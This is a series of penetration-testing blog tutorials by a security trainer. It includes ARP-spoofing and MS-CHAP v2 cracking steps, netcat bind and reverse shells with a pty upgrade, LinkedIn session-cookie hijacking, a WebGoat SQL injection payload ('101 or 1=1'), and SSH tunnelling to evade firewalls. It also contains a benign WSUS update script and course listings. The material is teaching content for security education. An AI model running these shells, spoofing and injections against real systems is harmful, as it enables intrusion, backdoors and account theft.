Attacking MS-CHAP v2

MS-CHAP v2 is an authentication protocol widely used in VPN implementations.

It uses a challenge-response mechanism in combination with the NT hash of the password to transfer the credentials.

Unlike the older CHAP authentication, where the server requires the plain text of the password, MS-CHAP v2 only requires the NT hash of the password to validate the challenge-response.

It can also be used as an EAP protocol, EAP MS-CHAP v2, in combination with a RADIUS server. When deployed with a RADIUS server, then the RADIUS server is responsible for generating the challenge and for validating the response.

So we are pretty safe here? There is no way to recover the password?

Well, maybe there is. We will demonstrate...

In our setup we use a RADIUS server with EAP MS-CHAP v2 as the authentication protocol.

VPN server: 10.0.1.1
VPN client: 10.0.1.100

We'll describe (briefly) the flow:

The client connects to the VPN server, the RADIUS client. The server sends a RADIUS Access-Request to the RADIUS server. RADIUS messages are transferred between RADIUS client and RADIUS server. The RADIUS server generates a challenge and sends this challenge, through the RADIUS client, to the VPN client. The VPN client sends the response. RADIUS server validates the response and sends a RADIUS Access-Accept message to the VPN server. Our VPN server grants the client access.

The challenge-response is send in clear text. The root of all evil starts here :)

We will try to capture it with our sniffer. To capture the traffic between client and server we will do a MiTM attack (unless you have a hub).

We start an ARP injection attack with the tool arpspoof.

Syntax:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth1 -t 10.0.1.1 10.0.1.100
arpspoof -i eth1 -t 10.0.1.100 10.0.1.1

Now all traffic is send to the attacker. We can start wireshark to sniff the traffic.

After filtering the messages we find both the challenge and the response!

filter: ip.src==10.0.1.100 or ip.dst==10.0.1.100 and eap

We copy both values as a HEX stream.

Our challenge:

93389f82ae615e7d488953d2f6d4cee6

Our response:

2a75d21673b1bdf2122719b093e4d27c000000000000000041dcd2b40b06ed540208e86027dd2b3643583fd6ee8dd89a00

Now we can use a tool called asleap to recover the password from our sniffed challenge and response. Asleap is a tool designed to recover weak LEAP (Cisco's Lightweight Extensible Authentication Protocol) and MS-CHAP passwords.

It uses a dictionary attack to recover the password. It generates a MD4 hash from a plaintext password, included in the dictionary file, resulting in the NT hash. Then it encrypts the challenge 3 times with the NT hash of the password using the DES algorithm. If the result is the same as our sniffed response then we know that the password is cracked!

Unfortunately, we will not succeed in cracking the password using the above challenge and response together with a custom dictionary file.

After a little search I found that MS-CHAP v2 is also using a client challenge and the username to generate the response. So using only our server challenge in combination with the NT hash and the DES algorithm can never result in our response!

A MS-CHAP client uses SHA1 to hash the client challenge, the server challenge and the username. The first 8 bytes are a new random challenge. This new challenge encrypted with the NT hash and DES algorithm results in our response.

If we can figure out this new challenge, we can recover the password using asleap!

I found some interesting articles how MS-CHAP v2 creates this challenge. Based on this information I made a little python script that calculates the new challenge and starts automatically asleap using our custom dictionary file. I called the tool chappie.py :)

We only need to enter our known parameters:

Once entered, we can recover the password. Our password was pretty obvious.

The following python code calculates our new challenge. We convert the original server challenge and the client challenge to a binary value. Together with the username we generate a SHA hash and take the first 8 bytes (or 16 characters hexadecimal).

Oops... and you thought that MS-CHAP v2 with a RADIUS server was safe?
How to defend against such attacks? Well, you should definitely attend our IT Security BOOTCAMP courses. We will teach you that a server certificate and the PEAP protocol solves the problem...

Thanks for reading this article!
Do not hesitate to contact me if you have any questions or if you need more information.
You can also follow us on Twitter  -  http://twitter.com/MME_IT

Reverse terminals

After compromising a target machine it's time for some post exploitation using a backdoor.

This can be done easy with netcat. Our Swiss-army knife for TCP/IP.

 

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
There's also an enhanced version using twofish encryption, called cryptcat. For this exercise we are using the older netcat.

Compromised machine: 10.0.1.50
Attacker's machine: 10.0.1.100

First of all, we need to download and install a custom netcat version on our compromised target machine. Make sure to also download some compiling tools like gcc.

apt-get install libc6-dev g++ gcc
wget http://downloads.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.bz2
tar -xjvf netcat-0.7.1.tar.bz2
cd netcat-0.7.1
./configure
make
make install

After netcat has been installed and compiled we can use the following command on our target machine to create a backdoor listener:

./netcat -l -p 6666 -e /bin/bash

This spawns a command shell on TCP port 6666.

It's now possible for an attacker to connect from a remote machine to our compromised target, using netcat as a client this time.

netcat 10.0.1.50 6666

We are getting a command shell:

Our post exploitation tool is working!

When the compromised machine is after a firewall this can be a problem.

A firewall is actually blocking ports... remember? :-)

Another possibility is using a reverse shell with netcat.
In a reverse shell, the connection is actually triggered by the compromised machine. It connects back to the attacker's machine. We might use this technique to circumvent the firewall or NAT installation. Use a standard port that you think will be allowed through the firewall: ports 443, 80 and 53 are often good options.

The following command starts a listener on port TCP 443 of the attacker's machine:

nc -l -p 443

On our target machine we use netcat with the following syntax:

./netcat 10.0.1.100 443 -e /bin/bash

This spawns a shell in a reverse way to the attacker on port TCP 443. That's an outbound connection.

Cool! We circumvented the firewall.

Another issue is that a shell is not a real terminal. There's a big difference between a shell and a terminal. There are some commands that don't work in a shell.

Try 'top'...
Not working...

And here comes another piece of magic when we enter the following command in our shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Our shell became a real terminal, a reverse terminal:

 

 

Our 'top' command is working:

Awesome, and easy.

In this post we used netcat as a post exploitation tool spawning a reverse terminal.

Hijacking LinkedIn sessions

During a demonstration at the Microsoft Tech Days 2012 in Eigenbrakel a 'famous' Microsoft white hacker demonstrated how easy it was to capture a LinkedIn password over a secure HTTPS connection.

She was using Fiddler, an intermediate proxy. The hacker added the Fiddler self-signed certificate to the list of trusted root certificates. Now she was pretending that the username and the password were not transferred in a secure way because she intercepted it in clear text with her 'magic' tool?!? I think she definitely needs to review some basics of PKI or Public Key Infrastructure... A shame for Microsoft :)

The GOOD news... there are no issues at all with the login procedure in LinkedIn! The credentials are transferred over a secure HTTPS connection. However capturing those credentials is still possible when using intermediate proxies or firewalls with a HTTPS inspection function. That's not a LinkedIn problem, that 's just how PKI works.

The BAD news... LinkedIn is not using HTTPS for every transaction. It is really easy to hijack a LinkedIn session!

To demonstrate the issue, I created a LinkedIn test account User1.

User1 is a legitimate user and has a valid LinkedIn session.
User2 is the attacker and wants to hijack User1's session.

I'm logging in with the User1 account:

After analyzing the HTTP session parameters I found an interesting cookie:

leo_auth_token

For User1 it has the following value:

"LIM:196816205:a:21600:1343757294:c6f2cca505d47d666586f29fae7c6bf4f5107eb3"

This is the session cookie and it expires after 3 months!

Because session cookies are transferred with each HTTP request and because LinkedIn is using non-encrypted HTTP communication for most of its transactions, it is now very easy to capture the leo_auth_token cookie. Capturing HTTP traffic could be done over a non-secure wireless network or using other techniques like ARP injection, MAC flooding, SNMP hacking,... Maybe in the future I will post some new articles explaining those techniques.

Suppose that User2, our attacker, captured the leo_auth_token cookie using one of the above techniques. He could now open a new browser session and add the captured session cookie to the list of cookies using a cookie editor (for this excercise we cleared all the existing cookies).

After adding the captured cookie to the browser, User2 enters the following URL to edit a LinkedIn profile:

http://www.linkedin.com/profile/edit?trk=tab_pro

The magic happens:

We hijacked User1's session!
Now we can easily edit User1's profile:

In the same way we could list contacts, add contacts, remove contacts, read messages and send 'spoofed' messages to the contacts,...

Because the LinkedIn session cookie is stored for 3 months and most of the LinkedIn users are never logging out a session, an attacker has plenty of time to fool with someone's profile after capturing the session cookie over a non-secured HTTP connection.
Hijacking a LinkedIn session is really easy!

LinkedIn is just not safe enough. They should definitely switch to HTTPS-only and use session cookies with larger values and with shorter expiration times!

Something to think about when using LinkedIn as a social media platform for professional purposes!

SQLi with Web Services

Good old SQL injection is coming back... with Web Services.

A Web Service is a method of communication between two devices using SOAP messages.

SOAP relies on XML for its message format. It can be transferred over FTP, SMTP or HTTP.

In this way, Web Services are independent of the underlying network protocol!

Why using Web Services? With a Web Service it is possible to convert your 'older' application into a web application, which can publish its function or message to the rest of the world. Nice!

A Web Services Description Language or WSDL is used to describe the interfaces of a Web Service. It is an entry point based on the XML language. The WSDL point contains all the information your application needs to know to start communicating with the Web Service.

What to hack? Most of the web vulnerabilities are coming back with Web Services. Over the last years web developers have done a lot of effort in sanitizing all code going through their web applications. Maybe they just forgot to check their Web Services?!?

Using a search engine like Google you could find some Web Service WSDL entries:

inurl:wsdl site:example.com

The following URL could be a result of our search query:

http://www.example.com/soap/service.asmx?WSDL

Now we can explore the WSDL entry using a browser or a SOAP parser. After exploring the entry we know all the interfaces of the Web Service. We can start communicating with it!

In the next screenshots I'm illustrating this with WebGoat, a test platform for security testing.

The WSDL entry:

http://127.0.0.1:8080/webgoat/services/WsSqlInjection?WSDL


We can explore it with our browser:

With a SOAP parser we can generate the following request:

We found a very interesting operation getCreditCard, accepting a string as input and returning a string as output. The output string is the credit card number. What could be the input string?

After analyzing the web application source code we found the following SQL statement:

"SELECT * FROM user_data WHERE userid = " + accountNumber;

(by the way, this is a very dangerous SQL statement)

The underlying database engine is receiving a number (accountNumber) and giving us back all the records for the specific number. The accountNumber is definitely our input string that we will send with a SOAP request.

As a valid account number we can use 101.

The results from our SOAP parser with account number 101:

We have two valid credit card numbers for account number 101.
Do you want all the credit card numbers for all the accounts? Really?

We could enter the following:

101 or 1=1


Our database will interprete this as:

SELECT * FROM user_data WHERE userid = 101 or 1=1;

This will probably display all the records because we adjusted the SQL statement with our OR expression:

We have all the credit card numbers. This is jackpot!

We can conclude that our Web Service does not sanitize malicious code.

In the same way we could start other more advanced attacks using SQL injection, command injection or even Cross-Site Scripting (XSS),...

WUA force

Sometimes you want to install critical and security updates on a Windows machine using WSUS Server immediately.

Just restart the 'Automatic Update Service' you would think?

No way. You have to do a bit more...

This script forces the update detection from automatic update client (WUA) for updates on WSUS Server.

Copy and paste the code below into a text file and name it ForceUpdate.cmd:

@echo off

echo This script will force the update detection from the AU client:
echo 1. Stops the Automatic Updates Service (wuauserv)
echo 2. Deletes the LastWaitTimeout registry key (if it exists)
echo 3. Deletes the DetectionStartTime registry key (if it exists)
echo 4. Deletes the NextDetectionTime registry key (if it exists)
echo 5. Restart the Automatic Updates Service (wuauserv)
echo 6. Force the detection

pause

@echo on

net stop wuauserv

REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v LastWaitTimeout /f

REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v DetectionStartTime /f
REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v NextDetectionTime /f

net start wuauserv

wuauclt /detectnow

@echo off

echo This AU client will now check for the Updates on the Local WSUS Server.

pause

Execute the ForceUpdate.cmd file and the magic happens.

SSH proxy tunnel

Recently I read an article about how to use a SSH client as a SOCKS proxy tunnel for Firefox.

Very nice article by the way.

I started thinking on how to use this SSH proxy as a tunnel for other TCP traffic.

It would be cool to do a remote portscan using this SSH tunnel or just to read your POP3 email and evading the firewall on your local site.

Let's do this...

First of all, create the SSH proxy tunnel.

On your *nix box start a SSH connection to your remote SSH server with the following options:

ssh -D 0.0.0.0:5200 -p 443 root@remotehost.org

The -D option starts the SOCKS proxy listener, listening on your interface on port 5200 (just a random port).

The other options... yeah right, this makes the tunnel to your remote host.

My remote SSH server is listening on port 443.

Now you can start and configure your Firefox browser using the SOCKS v5 proxy option. Don't forget to change the listening port to 5200!

Point your browser to http://www.whatismyip.com/ and you will see that you are surfing with the IP address of your remote SSH server.

All HTTP traffic is now encrypted using your SSH tunnel. The HTTP is actually encapsulated in the SSH session. So I'm evading the firewall logs on my local site? Yes you are!

What about other traffic, can we also tunnel other traffic?

Sure, I will demonstrate this with a portscan using nmap.

To tunnel other traffic through the SSH proxy tunnel I use a program called proxychain.

After installing the program you can find the config file in our Linux /etc directory,
it's called proxychain.config

Edit this file with your favorite editor.

Go to the end of the file and adjust the following setting:

Start your program that you want to tunnel using proxychains.

You can do a nmap portscan using the following syntax:

proxychains nmap -sTV www.google.be -p 80 -P0

Don't forget to use the -sT option, this starts a TCP three-way handshake scan.

Only valid TCP-connections are allowed using the SOCKS Proxy.

By default nmap is using a SYN scan.

You can read your POP3 email using the following syntax:

proxychains telnet in.telenet.be 110

You are bypassing local firewall and ISP limitations!

Welcome

My first post on this blog... just me in Orlando attending a SANS GPEN training. I'm an early bird :)

O yeah... who am I? Well my name is Malik.

An IT security consultant working for my own company MME.

We are performing security audits, including penetration testing and vulnerability assessments, for medium and large-sized companies.

I'm also working as an IT trainer. I'm holding the Microsoft Certified Trainer (MCT) certificate and I'm a local mentor for the SANS Institute. I'm mentoring the SANS "SEC 560 - Network Penetration Testing and Ethical Hacking" course. During the weekly sessions, I act as a coach to assist students in comprehending the SANS materials.

Recently I started with a new project: ITSEC GAMES. A fun approach to IT security education.

IT security, ethical hacking, training and fun... all mixed together.

In each game you have to complete multiple challenges in a simulated live environment.

My mission is to teach you something about ITSEC in an interactive way through games.

Welcome to my blog!

See you soon for some great ITSEC articles.

Classroom training

Besides audits and security, we also provide IT security classroom training.

Our courses can be held in our own training room or on location.

We can also provide security courses custom tailored to your needs.

The primary emphasis of our training is to obtain practical hands-on skills supplemented by the necessary theory. Each participant gets the opportunity to setup and configure his own test environment.

MME is also coaching the official SANS SEC560: Network Penetration and Ethical Hacking course.
During these weekly sessions, we act as a mentor to assist students in comprehending the SANS materials.

 

 

 

The following courses can be scheduled:

• SANS SEC560: Network Pen Testing and Ethical Hacking (October 2012)
• IT Security BOOTCAMP Part I (5 sessions, July 2012)
• IT Security BOOTCAMP Part II (5 sessions, September and October 2012)
• IT Security BOOTCAMP 'On The Road' (five-day training, on request)
• ITSEC Games - Hacking The Infrastructure (August 25, 2012)
• The Hacking Experience (two-day training, on request)
• Business Continuity: Failover Clustering (2 sessions, on request)
• Business Continuity: Load Balancing (1 session, on request)
• Security Awareness (2 sessions, on request)
• Securing Your Windows Server (4 sessions, on request)
• 802.1X Authentication (2 sessions, on request)

See you soon!

RDP flaw

In march 2012 a security vulnerability, MS12-020, has been detected in the famous Microsoft RDP

protocol. Everyone using the RDP protocol should be aware of the damage it can cause!

Targets:

Microsoft Windows servers / clients with RDP enabled.

Attack surface:

DoS and Remote Code Execution (not in the wild).

Researchers have been working on developing a working remote code execution exploit for the bug,

but none has been published yet.

Your Risk:

A simple program 'with some exploit code' can crash your Windows Server on the RDP port.

If you publish your RDP servers over the Internet you are a BIG target.

Proof of Concept:

A Windows Server 2008 R2 (x64) with RDP enabled.

When launching a program with the concerning exploit code the following happens:

This is really NOT GOOD !

Solutions:

• Don't use RDP :) (or try a least the RD Gateway)
• Allow only 'Remote Desktop with Network Level Authentication'.
• Patch your RDP servers.